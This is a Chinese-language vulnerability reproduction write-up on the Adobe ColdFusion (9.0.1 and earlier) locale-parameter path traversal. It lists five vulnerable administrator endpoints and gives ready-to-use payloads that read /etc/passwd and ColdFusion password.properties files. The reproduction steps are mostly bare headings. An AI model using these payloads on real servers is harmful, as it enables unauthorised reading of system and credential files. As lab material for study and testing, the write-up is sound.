文章目录
一、漏洞介绍
Adobe ColdFusion是JJ Allaire 于 1995 年创建的商业快速Web应用程序开发计算平台。其运行的CFML(ColdFusion Markup Language)针对Web应用的一种脚本语言。文件以*.cfm为文件名,在ColdFusion专用的应用服务器环境下运行。5.0以后,cfm文件被编译器翻译为对应的 c++ 语言程序,然后运行并向浏览器返回结果。
漏洞版本:9.0.1版本及之前版本
漏洞危害:
远程攻击者可以通过以下接口设置locale参数来读取任意文件:
1、CFIDE/administrator/settings/mappings.cfm
2、logging/settings.cfm
3、datasources/index.cfm
4、j2eepackaging/editarchive.cfm
5、CFIDE/administrator/enter.cfm
二、漏洞环境
1、环境
访问ip:port/CFIDE/administrator/enter.cfm进入初始化页面,输入密码admin初始化服务器。
初始化后页面如下:
2、Payload
此次漏洞没有做任何的校验,重点是找到接口位置,以及更改local参数。
部分payload如下:
locale=../../../../../../../etc/passwd%00en
locale=../../../../../../../lib/password.properties%00en
locale=../../../../../../../servers/cfusion/cfusion-ear/cfusion-war/WEB-INF/cfusion/lib/password.properties%00en
三、漏洞复现
1、logging/settings.cfm
1.1、接口位置
1.2、修改请求包
2、datasources/index.cfm
2.1、接口位置
2.2、抓取请求包
2.3、修改请求包
3、j2eepackaging/editarchive.cfm
3.1、接口位置
3.2、抓取请求包
3.3、修改请求包locale参数,读取/etc/passwd
4、CFIDE/administrator/settings/mappings.cfm
4.1、接口位置
4.2、抓取请求包
4.3、修改请求包
在这个接口,没有找到含有locale参数的get或者post请求包,所以构造locale参数,添加&locale=../../../../../../../../../../etc/passwd%00en
5、CFIDE/administrator/enter.cfm
5.1、退出登录,使用admin/admin登陆时抓取请求包
5.2、抓取请求包
5.3、修改请求包
在这个接口,没有找到含有locale参数的get或者post请求包,所以构造locale参数,添加&locale=../../../../../../../../../../etc/passwd%00en